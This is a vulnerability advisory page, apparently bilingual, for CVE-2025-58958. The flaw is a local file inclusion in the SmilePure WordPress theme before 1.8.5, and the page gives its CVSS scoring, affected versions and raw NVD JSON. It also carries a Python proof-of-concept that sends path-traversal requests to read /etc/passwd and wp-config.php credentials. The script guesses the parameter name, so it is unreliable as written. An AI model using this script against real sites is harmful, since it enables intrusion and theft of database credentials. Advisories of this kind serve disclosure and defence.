Security Vulnerability Report
中文
CVE-2025-58958 CVSS 8.1 HIGH

CVE-2025-58958

Published: 2025-10-22 15:15:52
Last Modified: 2026-04-27 20:16:23

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove SmilePure smilepure allows PHP Local File Inclusion.This issue affects SmilePure: from n/a through < 1.8.5.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thememove:smilepure:*:*:*:*:*:wordpress:*:* - VULNERABLE
SmilePure < 1.8.5
ThemeMove SmilePure (所有1.8.5之前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-58958 PoC - SmilePure LFI # Target: WordPress site with SmilePure theme < 1.8.5 target = input("Enter target URL (e.g., http://example.com): ").strip() # Read /etc/passwd payload1 = f"{target}/wp-content/themes/smilepure/?file=../../../../../../etc/passwd" print(f"[*] Testing for LFI - Reading /etc/passwd...") response = requests.get(payload1, timeout=10) if 'root:' in response.text: print("[+] Vulnerable! /etc/passwd content:") print(response.text[:500]) # Read wp-config.php payload2 = f"{target}/wp-content/themes/smilepure/?file=../../../../../../var/www/html/wp-config.php" print(f"\n[*] Testing for wp-config.php...") response = requests.get(payload2, timeout=10) if 'DB_NAME' in response.text: print("[+] wp-config.php content leaked!") print(response.text[:500]) print("\n[!] Note: Actual parameter name may vary. Check theme source code for exact parameter.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58958", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:52.413", "lastModified": "2026-04-27T20:16:22.563", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove SmilePure smilepure allows PHP Local File Inclusion.This issue affects SmilePure: from n/a through < 1.8.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thememove:smilepure:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.8.5", "matchCriteriaId": "36DD4543-28AE-413B-8108-C5D28540448F"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/smilepure/vulnerability/wordpress-smilepure-theme-1-8-5-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}